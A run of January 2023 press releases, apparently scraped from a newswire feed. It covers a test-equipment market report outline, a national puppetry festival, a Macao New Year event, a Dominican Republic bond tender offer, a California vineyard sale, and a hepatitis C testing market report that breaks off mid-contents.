Exhibit 87: Chart on Europe - Year-over-year growth 2022-2027 (%)

- Year-over-year growth 2022-2027 (%)

Exhibit 88: Data Table on Europe - Year-over-year growth 2022-2027 (%)

9.6 South America - Market size and forecast 2022-2027

- Market size and forecast 2022-2027 Exhibit 89: Chart on South America - Market size and forecast 2022-2027 ($ million)

- Market size and forecast 2022-2027 ($ million)

Exhibit 90: Data Table on South America - Market size and forecast 2022-2027 ($ million)

- Market size and forecast 2022-2027 ($ million)

Exhibit 91: Chart on South America - Year-over-year growth 2022-2027 (%)

- Year-over-year growth 2022-2027 (%)

Exhibit 92: Data Table on South America - Year-over-year growth 2022-2027 (%)

9.7 Middle East and Africa - Market size and forecast 2022-2027

and - Market size and forecast 2022-2027 Exhibit 93: Chart on Middle East and Africa - Market size and forecast 2022-2027 ($ million)

and - Market size and forecast 2022-2027 ($ million)

Exhibit 94: Data Table on Middle East and Africa - Market size and forecast 2022-2027 ($ million)

and - Market size and forecast 2022-2027 ($ million)

Exhibit 95: Chart on Middle East and Africa - Year-over-year growth 2022-2027 (%)

and - Year-over-year growth 2022-2027 (%)

Exhibit 96: Data Table on Middle East and Africa - Year-over-year growth 2022-2027 (%)

9.8 US - Market size and forecast 2022-2027

Exhibit 97: Chart on US - Market size and forecast 2022-2027 ($ million)



Exhibit 98: Data Table on US - Market size and forecast 2022-2027 ($ million)



Exhibit 99: Chart on US - Year-over-year growth 2022-2027 (%)



Exhibit 100: Data Table on US - Year-over-year growth 2022-2027 (%)

9.9 China - Market size and forecast 2022-2027

- Market size and forecast 2022-2027 Exhibit 101: Chart on China - Market size and forecast 2022-2027 ($ million)

- Market size and forecast 2022-2027 ($ million)

Exhibit 102: Data Table on China - Market size and forecast 2022-2027 ($ million)

- Market size and forecast 2022-2027 ($ million)

Exhibit 103: Chart on China - Year-over-year growth 2022-2027 (%)

- Year-over-year growth 2022-2027 (%)

Exhibit 104: Data Table on China - Year-over-year growth 2022-2027 (%)

9.10 Germany - Market size and forecast 2022-2027

- Market size and forecast 2022-2027 Exhibit 105: Chart on Germany - Market size and forecast 2022-2027 ($ million)

- Market size and forecast 2022-2027 ($ million)

Exhibit 106: Data Table on Germany - Market size and forecast 2022-2027 ($ million)

- Market size and forecast 2022-2027 ($ million)

Exhibit 107: Chart on Germany - Year-over-year growth 2022-2027 (%)

- Year-over-year growth 2022-2027 (%)

Exhibit 108: Data Table on Germany - Year-over-year growth 2022-2027 (%)

9.11 Japan - Market size and forecast 2022-2027

- Market size and forecast 2022-2027 Exhibit 109: Chart on Japan - Market size and forecast 2022-2027 ($ million)

- Market size and forecast 2022-2027 ($ million)

Exhibit 110: Data Table on Japan - Market size and forecast 2022-2027 ($ million)

- Market size and forecast 2022-2027 ($ million)

Exhibit 111: Chart on Japan - Year-over-year growth 2022-2027 (%)

- Year-over-year growth 2022-2027 (%)

Exhibit 112: Data Table on Japan - Year-over-year growth 2022-2027 (%)

9.12 South Korea - Market size and forecast 2022-2027

- Market size and forecast 2022-2027 Exhibit 113: Chart on South Korea - Market size and forecast 2022-2027 ($ million)

- Market size and forecast 2022-2027 ($ million)

Exhibit 114: Data Table on South Korea - Market size and forecast 2022-2027 ($ million)

- Market size and forecast 2022-2027 ($ million)

Exhibit 115: Chart on South Korea - Year-over-year growth 2022-2027 (%)

- Year-over-year growth 2022-2027 (%)

Exhibit 116: Data Table on South Korea - Year-over-year growth 2022-2027 (%)

9.13 Market opportunity by geography

Exhibit 117: Market opportunity by geography ($ million)

10 Drivers, Challenges, and Trends

10.1 Market drivers

10.2 Market challenges

10.3 Impact of drivers and challenges

Exhibit 118: Impact of drivers and challenges in 2022 and 2027

10.4 Market trends

11 Vendor Landscape

11.1 Overview

11.2 Vendor landscape

Exhibit 119: Overview on Criticality of inputs and Factors of differentiation

11.3 Landscape disruption

Exhibit 120: Overview on factors of disruption

11.4 Industry risks

Exhibit 121: Impact of key risks on business

12 Vendor Analysis

12.1 Vendors covered

Exhibit 122: Vendors covered

12.2 Market positioning of vendors

Exhibit 123: Matrix on vendor position and classification

12.3 Advantest Corp.

Exhibit 124: Advantest Corp. - Overview



Exhibit 125: Advantest Corp. - Business segments



Exhibit 126: Advantest Corp. - Key offerings



Exhibit 127: Advantest Corp. - Segment focus

12.4 Anritsu Corp.

Exhibit 128: Anritsu Corp. - Overview



Exhibit 129: Anritsu Corp. - Business segments



Exhibit 130: Anritsu Corp. - Key news



Exhibit 131: Anritsu Corp. - Key offerings



Exhibit 132: Anritsu Corp. - Segment focus

12.5 EXFO Inc.

Exhibit 133: EXFO Inc. - Overview



Exhibit 134: EXFO Inc. - Product / Service



Exhibit 135: EXFO Inc. - Key offerings

12.6 Fastech Telecommunications

Exhibit 136: Fastech Telecommunications - Overview



Exhibit 137: Fastech Telecommunications - Product / Service



Exhibit 138: Fastech Telecommunications - Key offerings

12.7 Good Will Instrument Co. Ltd.

Exhibit 139: Good Will Instrument Co. Ltd. - Overview



Exhibit 140: Good Will Instrument Co. Ltd. - Product / Service



Exhibit 141: Good Will Instrument Co. Ltd. - Key offerings

12.8 Keysight Technologies Inc.

Exhibit 142: Keysight Technologies Inc. - Overview



Exhibit 143: Keysight Technologies Inc. - Business segments



Exhibit 144: Keysight Technologies Inc. - Key news



Exhibit 145: Keysight Technologies Inc. - Key offerings



Exhibit 146: Keysight Technologies Inc. - Segment focus

12.9 National Instruments Corp.

Exhibit 147: National Instruments Corp. - Overview



Exhibit 148: National Instruments Corp. - Product / Service



Exhibit 149: National Instruments Corp. - Key news



Exhibit 150: National Instruments Corp. - Key offerings

12.10 Premier Measurement Solutions Pvt. Ltd.

Exhibit 151: Premier Measurement Solutions Pvt. Ltd. - Overview



Exhibit 152: Premier Measurement Solutions Pvt. Ltd. - Product / Service



Exhibit 153: Premier Measurement Solutions Pvt. Ltd. - Key offerings

12.11 Qmax Test Equipments Pvt. Ltd.

Exhibit 154: Qmax Test Equipments Pvt. Ltd. - Overview



Exhibit 155: Qmax Test Equipments Pvt. Ltd. - Product / Service



Exhibit 156: Qmax Test Equipments Pvt. Ltd. - Key offerings

12.12 Rohde and Schwarz GmbH and Co. KG

Exhibit 157: Rohde and Schwarz GmbH and Co. KG - Overview



Exhibit 158: Rohde and Schwarz GmbH and Co. KG - Product / Service



Exhibit 159: Rohde and Schwarz GmbH and Co. KG - Key offerings

12.13 Scientech Technologies Pvt. Ltd.

Exhibit 160: Scientech Technologies Pvt. Ltd. - Overview



Exhibit 161: Scientech Technologies Pvt. Ltd. - Product / Service



Exhibit 162: Scientech Technologies Pvt. Ltd. - Key offerings

12.14 SPX Corp.

Exhibit 163: SPX Corp. - Overview



Exhibit 164: SPX Corp. - Business segments



Exhibit 165: SPX Corp. - Key offerings



Exhibit 166: SPX Corp. - Segment focus

12.15 Teradyne Inc.

Exhibit 167: Teradyne Inc. - Overview



Exhibit 168: Teradyne Inc. - Business segments



Exhibit 169: Teradyne Inc. - Key news



Exhibit 170: Teradyne Inc. - Key offerings



Exhibit 171: Teradyne Inc. - Segment focus

12.16 Thermo Fisher Scientific Inc.

Exhibit 172: Thermo Fisher Scientific Inc. - Overview



Exhibit 173: Thermo Fisher Scientific Inc. - Business segments



Exhibit 174: Thermo Fisher Scientific Inc. - Key news



Exhibit 175: Thermo Fisher Scientific Inc. - Key offerings



Exhibit 176: Thermo Fisher Scientific Inc. - Segment focus

12.17 Yokogawa Electric Corp.

Exhibit 177: Yokogawa Electric Corp. - Overview



Exhibit 178: Yokogawa Electric Corp. - Business segments



Exhibit 179: Yokogawa Electric Corp. - Key offerings



Exhibit 180: Yokogawa Electric Corp. - Segment focus

13 Appendix

13.1 Scope of the report

13.2 Inclusions and exclusions checklist

Exhibit 181: Inclusions checklist



Exhibit 182: Exclusions checklist

13.3 Currency conversion rates for US$

Exhibit 183: Currency conversion rates for US$

13.4 Research methodology

Exhibit 184: Research methodology



Exhibit 185: Validation techniques employed for market sizing



Exhibit 186: Information sources

13.5 List of abbreviations

Exhibit 187: List of abbreviations

About Us

Technavio is a leading global technology research and advisory company. Their research and analysis focus on emerging market trends and provide actionable insights to help businesses identify market opportunities and develop effective strategies to optimize their market positions. With over 500 specialized analysts, Technavio's report library consists of more than 17,000 reports and counting, covering 800 technologies, spanning 50 countries. Their client base consists of enterprises of all sizes, including more than 100 Fortune 500 companies. This growing client base relies on Technavio's comprehensive coverage, extensive research, and actionable market insights to identify opportunities in existing and potential markets and assess their competitive positions within changing market scenarios.

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SOURCE Technavio
Hundreds of puppeteers and puppetry enthusiasts will gather at University of Maryland this summer to celebrate puppet arts at the National Puppetry Festival, presented by Puppeteers of America.

Explore puppetry arts through workshops, performances, exhibits, special events, puppet films, a puppet slam, social happenings, academic symposia and more.

As the first in-personal national festival since 2019, this is a highly anticipated reunion for puppeteers across the country.

COLLEGE PARK, Md., Jan. 24, 2023 /PRNewswire/ -- A celebrated event for puppeteers and puppet enthusiasts is back in person for the first time since 2019. This July, hundreds of puppeteers and fans will celebrate puppetry at the National Puppetry Festival, presented by Puppeteers of America. The festival will be held at the University of Maryland, Jim Henson's alma mater. It runs July 18th - July 22nd and is open to the public. Registration is now open HERE .

This immersive professional development and networking experience will provide opportunities to explore puppetry through workshops, performances, exhibits, special events, puppet films, a puppet slam, social happenings, academic symposia and more. This year, the festival will focus on the theme of Generations - honoring those that went before, celebrating those who are with us now, and encouraging those to come.

Festival Highlights include:

32 Professional puppetry performances from American and international artists

A bus tour of Jim Henson historical DC sites, with Craig Sherman & Heather Henson

historical DC sites, with & Workshops from Jim Henson Foundation + Jim Henson Legacy

A Puppet Parade - attend a Saturday workshop to make a puppet and join the public parade!

Wonderland Puppet Theater Exhibit

The Charm City Cabaret, highlighting local Baltimore and D.C. talent

and D.C. talent Community Days with workshops and special events for enthusiasts and general public

For the latest information on festival pricing and details visit: puppeteers.org/national-puppetry-festival .

About Puppeteers of America:

Puppeteers of America (PofA) is a national non-profit organization founded in 1937 to provide information, encourage performances, and build a community of people who celebrate puppet theater. We advance the art of puppetry by presenting knowledge, providing inspiration and promoting preservation. This organization publishes The Puppetry Journal, a quarterly highlighting the latest in contemporary puppetry.

PofA has produced over 160 national and regional festivals to celebrate and share the puppetry arts. We are proud that so many greats in the field like Jim Henson, Bil Baird, and Burr Tillstrom were active members providing leadership, advice and inspiration. To learn more about and see the benefits of membership, visit puppeteers.org.

SOURCE Puppeteers of America
MACAO, Jan. 23, 2023 Under the guidelines of the "Happy Chinese New Year" campaign of the Ministry of Culture and Tourism of the People's Republic of China, "Macao New Year Celebration" was successfully organized in Macao from January 22 to January 24, 2023. Led by Shaanxi Provincial Department of Culture and Tourism, in co-operation with the Hong Kong, Macao and Taiwan Office of the Ministry of Culture and Tourism, and the Cultural Affairs Bureau of the Macao Special Administrative Region Government. It is one of the exhibits featured in "Happy Chinese New Year  The Essence of Festival Traditional Handicrafts" campaign series.

A global cultural exchange campaign centered on Chinese New Year culture, "Happy Chinese New Year" was reportedly launched by the Ministry of Culture and Tourism. The Macao Cultural Affairs Bureau organized "New Year Celebration Activities" with Shaanxi Provincial Department of Culture and Tourism, during Chinese New Year to elevate festive spirit and boost the cultural life of its inhabitants. The art troupe organized by the Shaanxi Provincial Department of Culture and Tourism was invited to deliver nine live performances at Anim'Arte NAM VAN, Mount Fortress, Barra Square, and other venues. The art troupe consist artists from the Shaanxi Song and Dance Theater, the Shaanxi Folk Art Theater, and the Shaanxi Acrobatic, all contributed to the collective's unique brand of performance. Regional cultural elements of Shaanxi were showcased through a wide range of performances, including Tang royal dance, suona & banhu solo, shadow puppet, yangko dance, contortion performance, etc.

Simultaneously, inheritors of Shaanxi's intangible cultural heritage were welcomed to display their works at Anim'Arte NAM VAN. Chengcheng embroidery, paper-cut art, Spring Festival xylograph drawings from Fengxiang county, Baoji Mashao face masks and more handicrafts were on display. Macao residents enjoyed a much more delightful and peaceful Chinese New Year, learned more about their motherland's folk songs and dances, traditional music, and other excellent intangible cultural heritage.

SOURCE Shaanxi Provincial Department of Culture and Tourism
SANTO DOMINGO, Dominican Republic, Jan. 24, 2023 /PRNewswire/ -- The Dominican Republic (the " Republic ") announced today the commencement of an offer to purchase for cash (the " Offer ") from each registered holder or beneficial owner (each, a " Holder " and, collectively, the " Holders ") outstanding notes of the series set forth in the table below (the " Existing Bonds "), such that the Tendered Aggregate Purchase Price (as defined below) to be paid for the outstanding principal amount of Existing Bonds validly tendered and accepted for purchase by the Republic pursuant to the Offer does not exceed a maximum amount to be determined by the Republic in its sole discretion (the " Maximum Purchase Price "). The terms and conditions of the Offer are set forth in the offer document dated January 24, 2023 (the " Offer Document ").

The Offer is not conditioned upon any minimum participation of the Existing Bonds, but it is conditioned, among other things, on the concurrent (or earlier) closing of the issuance by the Republic of one or more series of DOP-denominated, New York law-governed debt securities (the " New Notes ") in an aggregate principal amount, with pricing and on terms and conditions acceptable to the Republic in its sole discretion (the " New Notes Offering "). The New Notes Offering will be made solely by means of an offering memorandum relating to that offering of the New Notes, and neither this announcement nor the Offer Document constitutes an offer to sell or the solicitation of an offer to buy the New Notes.

The Republic reserves the right, in its sole discretion, not to accept any valid orders to tender Existing Bonds in accordance with the terms and conditions of the Offer (" Tenders "), to modify the fixed price, per each outstanding DOP1,000 principal amount of Existing Bonds, indicated in the rightmost column in the table below (the " Purchase Price ") for the Existing Bonds, or to terminate the Offer for any reason. In the event of a termination of the Offer, the tendered Existing Bonds will be returned to the tendering Holder.

The Purchase Price and Accrued Interest (as defined herein) of the Existing Bonds will be converted into U.S. dollars at an exchange rate equal to the weighted average of the buy and sell foreign exchange rates for transactions completed on the Dominican business day immediately prior to the Expiration Time (as defined below) by commercial banks and financial institutions in the Dominican Republic, as calculated and published by the Central Bank of the Dominican Republic (Banco Central de la Republica Dominicana), available at the Central Bank's website at https://bcrdgdcprod.blob.core.windows.net/documents/estadisticas/mercado-cambiario/documents/TASA_DOLAR_REFERENCIA_MC.xls (the " Applicable Exchange Rate "), and paid in U.S. dollars. The Republic intends to announce the Applicable Exchange Rate by press release after the Expiration Time, currently scheduled for January 31, 2023.

The total purchase price for the principal amount of the Existing Bonds validly tendered by a Holder and accepted by the Republic (the " Total Purchase Price ") will be an amount in cash equal to the outstanding principal amount of such Existing Bonds, multiplied by the Purchase Price, plus accrued and unpaid interest on such Existing Bonds up to, but excluding, the Settlement Date (" Accrued Interest "). If the Total Purchase Price minus Accrued Interest for all validly tendered Existing Bonds (the " Tendered Aggregate Purchase Price ") would exceed the Maximum Purchase Price, then the Republic will, in its sole discretion, apply a proration factor to the Tenders.

Title of Existing Bonds

Outstanding

Principal Amount

as of the date

hereof

ISINs / CUSIP Numbers

Purchase Price (per

Outstanding

DOP1,000 Principal

Amount)(1) 8.900% Bonds due 2023

DOP40,000,000,000

USP3579EBZ99 / P3579EBZ9 (Reg S)

US25714PDX33 / 25714P DX3 (144A)

DOP1,000

















(1) The Purchase Price and Accrued Interest of the Existing Bonds will be converted into U.S. dollars at the Applicable Exchange Rate and paid in U.S. dollars.

Holders tendering Existing Bonds may obtain a priority allocation code (the " Priority Allocation Code ") by contacting either of the Dealer Managers, and should include their Priority Allocation Code in their ATOP or Electronic Acceptance Instruction (in each case, as defined in the Offer Document). Tendering Holders who wish to subscribe for New Notes should include their Priority Allocation Code when subscribing for New Notes. The Republic will review Tenders received on or prior to the Expiration Time and may give priority to those investors tendering with a Priority Allocation Code in connection with the allocation of New Notes. However, no assurances can be given that any Holder that tenders Existing Bonds will be given an allocation of New Notes at the levels it may subscribe for, or at all.

If the Republic accepts all or a portion of a Holder's Tender, the Holder will be entitled to receive for such Existing Bonds the applicable Total Purchase Price, which will be paid on the Settlement Date, if the conditions of the Offer are met.

The Offer commenced on Tuesday, January 24, 2023 and will expire at 8:00 a.m. (New York City time) Tuesday, January 31, 2023 (the " Expiration Time ") unless extended or earlier terminated by the Republic in its sole discretion. Existing Bonds may be validly withdrawn at any time at or prior to the Expiration Time. The settlement of validly tendered and accepted Existing Bonds is expected to occur on Friday, February 3, 2023, or as soon as practicable thereafter, subject to change without notice (the " Settlement Date ").

At or about 9:00 a.m. (New York City time) on Tuesday, January 31, 2023, subject to change without notice, the Republic expects to announce (i) the aggregate principal amount of Tenders of the Existing Bonds that have been received on or prior to the Expiration Time and (ii) the Applicable Exchange Rate.

In addition, at or about 5:00 p.m. (New York City time) on Tuesday, January 31, 2023, subject to change without notice, the Republic expects to announce (i) the Maximum Purchase Price; (ii) the Tendered Aggregate Purchase Price; (iii) the aggregate principal amount of Tenders of the Existing Bonds that have been accepted; and (iv) any proration of Tenders of the Existing Bonds.

Holders of Existing Bonds must tender Existing Bonds by requesting that the direct participant through which the Holder holds its Existing Bonds submit, at or prior to the Expiration Time, such Holder's Tender by properly instructing The Depository Trust Company (" DTC "), Euroclear Bank SA/NV, as operator of the Euroclear System (" Euroclear "), or Clearstream Banking, S.A. (" Clearstream "), as applicable, in accordance with the procedures and deadlines established by each such clearing system. Any Holder that holds Existing Bonds through a custodian cannot submit a Tender directly and should instead contact its custodian to instruct the direct participant to submit a Tender on its behalf. There is no letter of transmittal or guaranteed delivery procedures for the Offer. The acceptance of any Tenders forwarded to DTC from Euroclear or Clearstream after the Expiration Time will be in the sole discretion of the Republic.

You are advised to consult with the broker, dealer, bank, custodian, trust company, or other nominee through which you hold your Existing Bonds as to the deadlines by which such intermediary would require receipt of instruction from you to participate in the Offer in accordance with the terms and conditions of the Offer as described in the Offer Document in order to meet the deadlines set forth in the Offer Document. The deadlines set by DTC, Euroclear, Clearstream, or any such intermediary for the submission of Existing Bonds may be earlier than the relevant deadlines specified in the Offer Document.

Existing Bonds may be tendered only in the principal amount equal to the minimum authorized denomination of DOP8,000,000 and in integral multiples of DOP50,000 in excess thereof (the " Minimum Denomination ") and not in excess of the maximum authorized denomination of DOP999,000,000 (the " Maximum Denomination "). Holders wishing to tender Existing Bonds in excess of the Maximum Denomination should submit two or more instructions, each not exceeding the Maximum Denomination, and the custodians for such holders are urged to contact the Tender and Information Agent by email at [email protected] regarding their submissions.

Holders who tender less than all of their Existing Bonds must continue to hold Existing Bonds in at least the Minimum Denomination of DOP8,000,000 principal amount.

Holders who submit Tenders in excess of the Maximum Denomination may have their Tenders rejected automatically in whole (given applicable restrictions at the clearing systems) and not be taken into consideration in the Offer.

The Offer Document may be downloaded from website of Global Bondholder Services Corporation (the " Tender and Information Agent ") at https://www.gbsc-usa.com/dominican/ or obtained from the Tender and Information Agent or from any of the Dealer Managers at the contact information below. Questions regarding the Offer may be directed to the Dealer Managers at the below contact information.

The Dealer Managers for the Offer are:

Citigroup Global Markets Inc. 388 Greenwich Street, 4th Floor Trading New York, New York 10013 United States of America Attn: Liability Management Group Collect: +1 (212) 723-6106 Toll-Free: +1 (800) 558-3745 Email: [email protected] J.P. Morgan Securities LLC 383 Madison Avenue New York, New York 10179

United States of America

Attn: Latin America Debt Capital Markets Collect: +1 (212) 834-7279

Toll-Free: +1 (866) 846-2874

The Tender and Information Agent for the Offer is: Global Bondholder Services Corporation

65 Broadway  Suite 404

New York, New York 10006

United States of America

Attn: Corporate Actions

Banks and Brokers call: +1 (212) 430-3774 Toll free +1 (855) 654-2014

Email: [email protected]

Offer Website: https://www.gbsc-usa.com/dominican/

By facsimile: (For Eligible Institutions only):

+1 (212) 430-3775/3779

Confirmation:

+1 (212) 430-3774



By Mail: By Overnight Courier: By Hand: 65 Broadway  Suite 404 New York, New York 10006 United States of America 65 Broadway  Suite 404 New York, New York 10006 United States of America 65 Broadway  Suite 404 New York, New York 10006 United States of America

Important Notice

This announcement is for informational purposes only. It is not complete and may not contain all the information that you should consider before tendering Existing Bonds. You should read the entire Offer Document.

This announcement is not an offer to purchase for cash or a solicitation of invitations for offers to purchase for cash any Existing Bonds. The distribution of materials relating to the Offer and the transactions contemplated thereby may be restricted by law in certain jurisdictions. The Offer is being made only by the Offer Document and in those jurisdictions where it is legal to do so. The Offer is void in all jurisdictions where it is prohibited. If materials relating to the Offer come into your possession, you are required to inform yourself of and to observe all of these restrictions. Each person accepting the Offer shall be deemed to have represented, warranted and agreed (in respect of itself and any person for whom it is acting) that it is not a person to whom it is unlawful to make the Offer pursuant to the Offer Document, it has not distributed or forwarded the Offer Document or any other documents or materials relating to the Offer to any such person, and that it has complied with all laws and regulations applicable to it for purposes of participating in the Offer. Neither the Republic nor the Dealer Managers accepts any responsibility for any violation by any person of the restrictions applicable in any jurisdiction.

The materials relating to the Offer, including this announcement, do not constitute, and may not be used in connection with, an offer or solicitation in any place where offers or solicitations are not permitted by law. This announcement and the Offer Document do not constitute an offer to buy or a solicitation of an offer to sell any securities in any jurisdiction to any person to whom it is unlawful to make such offer or solicitation in such jurisdiction. In any jurisdiction in which the Offer is required to be made by a licensed broker or dealer and in which any Dealer Manager or any of its affiliates is so licensed, it shall be deemed to be made by the Dealer Managers or such affiliates on behalf of the Republic.

SOURCE The Dominican Republic
FRESNO, Calif., Jan. 23, 2023 /PRNewswire/ -- The 1,300+ acre collection of vineyards and land commonly referred to as the Paicines Vineyards located within San Benito County, California, was recently sold to The Wine Group ("TWG"). The Mendrin Group, a leading agricultural brokerage, consulting, and advisory firm, served as the exclusive advisor to the seller, an undisclosed winery in the transaction.

The Wine Group Acquires 1,300+ Acre Paicines Vineyards Tweet this Paicines Vineyards

The Paicines Vineyards are located in the Paicines American Viticultural Area, a quality growing area of California's Central Coast and San Benito County that has seen a revival of interest in wines produced where deep-rooted brands such as Almaden and Paul Masson originated.

The acquisition expands The Wine Group's existing holdings of vineyards within the Paicines AVA in a significant way. "The Paicines Vineyards offer a great blend of water security, scale, production, quality, and overall value as an asset to produce coastal red and white winegrapes for our wine programs currently met with strong demand," stated John Sutton, CEO of The Wine Group.

About The Wine Group

With over 60 wine brands and many winery facilities located worldwide, The Wine Group, headquartered in Livermore, CA, is America's second largest wine producer by volume. TWG is responsible for many of America's most beloved and award-winning wine brands such as Cupcake, Franzia, Benziger, Imagery, AVA Grace, 7 Deadly, and more. "At TWG we are proud to make a positive environmental impact and preserve our land for generations to come. We demonstrate our environmental stewardship through our commitment to clean energy, our certification of all TWG vineyards (covering thousands of acres) as sustainable or biodynamic, and requiring our third-party grape producers to do the same. This is not only good for the land, it's good for the future and for the wines we make." For further information, please visit: www.thewinegroup.com

About The Mendrin Group

The Mendrin Group is a leading agricultural industry brokerage, consulting, and advisory firm, that specializes in the valuation, marketing, acquisition, and sale of agricultural related assets and vertically-integrated agribusinesses, and has represented clients throughout the United States and globally for over 30 years. Based in California, The Mendrin Group has served in an advisory role in numerous transactions on behalf of family farming operations, agribusinesses, investment firms, and pension, private equity, and sovereign wealth funds, in addition to global food and beverage companies. For further information, please visit: www.mendrins.com

SOURCE The Mendrin Group
DUBLIN, Jan. 24, 2023 /PRNewswire/ -- The "Hepatitis C Testing Market By Technique, By Test, By End User: Global Opportunity Analysis and Industry Forecast, 2021-2031" report has been added to ResearchAndMarkets.com's offering.

The global hepatitis C testing market was valued at $1,329.0 million in 2021, and is projected to reach $2,248.2 million by 2031, registering a CAGR of 5.3% from 2022 to 2031.

Hepatitis C is a viral infection that causes liver inflammation, sometimes leading to serious liver damage. The hepatitis C virus (HCV) spreads through contaminated blood. The hepatitis C can be diagnosed with antibody test, genotype test, and viral load test.

The increasing rate of hepatitis C and rise in awareness about hepatitis C drives the growth of market. For instance, according to a report of World Health Organization (WHO) published on June 2022, globally, an estimated 58 million people have chronic hepatitis C virus infection, with about 1.5 million new infections occurring per year. An estimated 3.2 million adolescents and children have the chronic hepatitis C infection. Thus, increase in prevalence of hepatitis C globally boosts the growth of the market.

In addition, factors such as increase in blood donation and rise in blood transfusion rate foster the growth of the market. The blood transfusion is a leading cause of hepatitis C virus transmission.

For instance, as per the report of World Health Organization (WHO) published on May 2022, about 118.54 million blood donations are made worldwide. 40% of these are collected in high-income countries. The World Health Organization (WHO) recommends that all blood donations should be screened for infections prior to use. Screening for HIV, hepatitis B, hepatitis C, and syphilis should be mandatory.

Moreover, increase in R&D activities for development of advanced hepatitis C testing such as immunoassay & polymerase chain reaction (PCR), rise in the U.S. food & drug administration (FDA) approvals and novel product launch in the market by key players boost the market growth.

For instance, in December 2020, Transasia Bio-Medicals, a leading Indian diagnostic company, announced the launch of India's first, high sensitivity testing kit for hepatitis C virus. Based on the latest method, the ErbaLisa HCV Gen 4 Ag+Ab kit, is India's first and only indigenously developed 4th gen ELISA kit and has been evaluated by the National Institute of Biologicals (NIB). Furthermore, advancements in hepatitis C diagnosis further contribute in market growth. However, the high cost of hepatitis C testing may hinder the growth of market.

The hepatitis C testing market is segmented on the basis of technique, test, end user, and region. By technique, market is fragmented into immunoassay, polymerase chain reaction (PCR), and others. The polymerase chain reaction (PCR) segment is further classified into real time PCR, and other PCR.

Depending on test, the market is classified into antibody test, genotype tests, and viral load test. On the basis of end user, the market is categorized into hospital & diagnostic laboratory, blood banks, and others. By region, the market is analyzed across North America, Europe, Asia-Pacific, and LAMEA.

The major companies profiled in the report include Abbott Laboratories, BIO-RAD laboratories Inc, Cosara Diagnostics Pvt Ltd, Illumina Inc, Meril Life Sciences Pvt. Ltd., Molbio Diagnostics Pvt. Ltd., PerkinElmer, Qiagen N.V., Thermo Fisher Scientific Inc, and Trivitron Healthcare.

Key Benefits For Stakeholders

This report provides a quantitative analysis of the market segments, current trends, estimations, and dynamics of the hepatitis c testing market analysis from 2021 to 2031 to identify the prevailing hepatitis c testing market opportunities.

The market research is offered along with information related to key drivers, restraints, and opportunities.

Porter's five forces analysis highlights the potency of buyers and suppliers to enable stakeholders make profit-oriented business decisions and strengthen their supplier-buyer network.

In-depth analysis of the hepatitis c testing market segmentation assists to determine the prevailing market opportunities.

Major countries in each region are mapped according to their revenue contribution to the global market.

Market player positioning facilitates benchmarking and provides a clear understanding of the present position of the market players.

The report includes the analysis of the regional as well as global hepatitis c testing market trends, key players, market segments, application areas, and market growth strategies.

Key Topics Covered:

CHAPTER 1: INTRODUCTION

CHAPTER 2: EXECUTIVE SUMMARY

CHAPTER 3: MARKET OVERVIEW

3.1. Market definition and scope

3.2. Key findings

3.2.1. Top investment pockets

3.3. Porter's five forces analysis

3.4. Top player positioning

3.5. Market dynamics

3.5.1. Drivers

3.5.2. Restraints

3.5.3. Opportunities

3.6. COVID-19 Impact Analysis on the market

CHAPTER 4: HEPATITIS C TESTING MARKET, BY TECHNIQUE

4.1 Overview

4.1.1 Market size and forecast

4.2 Immunoassay

4.2.1 Key market trends, growth factors and opportunities

4.2.2 Market size and forecast, by region

4.2.3 Market analysis by country

4.3 PCR

4.3.1 Key market trends, growth factors and opportunities

4.3.2 Market size and forecast, by region

4.3.3 Market analysis by country

4.3.4 PCR Hepatitis C Testing Market by Type

4.3.4.1 Real time PCR Market size and forecast, by region

4.3.4.2 Other PCR Market size and forecast, by region

4.4 Other techniques

4.4.1 Key market trends, growth factors and opportunities

4.4.2 Market size and forecast, by region

4.4.3 Market analysis by country

CHAPTER 5: HEPATITIS C TESTING MARKET, BY TEST

5.1 Overview

5.1.1 Market size and forecast

5.2 Antibody test

5.2.1 Key market trends, growth factors and opportunities

5.2.2 Market size and forecast, by region

5.2.3 Market analysis by country

5.3 Genotype tests

5.3.1 Key market trends, growth factors and opportunities

5.3.2 Market size and forecast, by region

5.3.3 Market analysis by country

5.4 Viral load test

5.4.1 Key market trends, growth factors and opportunities

5.4.2 Market size and forecast, by region

5.4.3 Market analysis by country

CHAPTER 6: HEPATITIS C TESTING MARKET, BY END USER

6.1 Overview

6.1.1 Market size and forecast

6.2 Hospital and diagnostic laboratory

6.2.1 Key market trends, growth factors and opportunities

6.2.2 Market size and forecast, by region

6.2.3 Market analysis by country

6.3 Blood banks

6.3.1 Key market trends, growth factors and opportunities

6.3.2 Market size and forecast, by region

6.3.3 Market analysis by country

6.4 Other end users

6.4.1 Key market trends, growth factors and opportunities

6.4.2 Market size and forecast, by region

6.4.3 Market analysis by country

CHAPTER 7: HEPATITIS C TESTING MARKET, BY REGION

CHAPTER 8: COMPANY LANDSCAPE

8.1. Introduction

8.2. Top winning strategies

8.3. Product Mapping of Top 10 Player

8.4. Competitive Dashboard

8.5. Competitive Heatmap

8.6. Key developments

CHAPTER 9: COMPANY PROFILES

9.1 Abbott Laboratories

9.1.1 Company overview

9.1.2 Company snapshot

9.1.3 Operating business segments

9.1.4 Product portfolio

9.1.5 Business performance

9.1.6 Key strategic moves and developments

9.2 BIO-RAD laboratories Inc

9.2.1 Company overview

9.2.2 Company snapshot

9.2.3 Operating business segments

9.2.4 Product portfolio

9.2.5 Business performance

9.2.6 Key strategic moves and developments

9.3 Cosara Diagnostics Pvt Ltd

9.3.1 Company overview

9.3.2 Company snapshot

9.3.3 Operating business segments

9.3.4 Product portfolio

9.3.5 Business performance

9.3.6 Key strategic moves and developments

9.4 Illumina Inc

9.4.1 Company overview

9.4.2 Company snapshot

9.4.3 Operating business segments

9.4.4 Product portfolio

9.4.5 Business performance

9.4.6 Key strategic moves and developments

9.5 Meril Life Sciences Pvt. Ltd.

9.5.1 Company overview

9.5.2 Company snapshot

9.5.3 Operating business segments

9.5.4 Product portfolio

9.5.5 Business performance

9.5.6 Key strategic moves and developments

9.6 Molbio Diagnostics Pvt. Ltd.

9.6.1 Company overview

9.6.2 Company snapshot

9.6.3 Operating business segments

9.6.4 Product portfolio

9.6.5 Business performance

9.6.6 Key strategic moves and developments

9.7 PerkinElmer

9.7.1 Company overview

9.7.2 Company snapshot

9.7.3 Operating business segments

9.7.4 Product portfolio

9.7.5 Business performance

9.7.6 Key strategic moves and developments

9.8 Qiagen N. V.

9.8.1 Company overview

9.8.2 Company snapshot

9.8.3 Operating business segments

9.8.4 Product portfolio

9.8.5 Business performance

9.8.6 Key strategic moves and developments

9.9 Thermo Fisher Scientific Inc
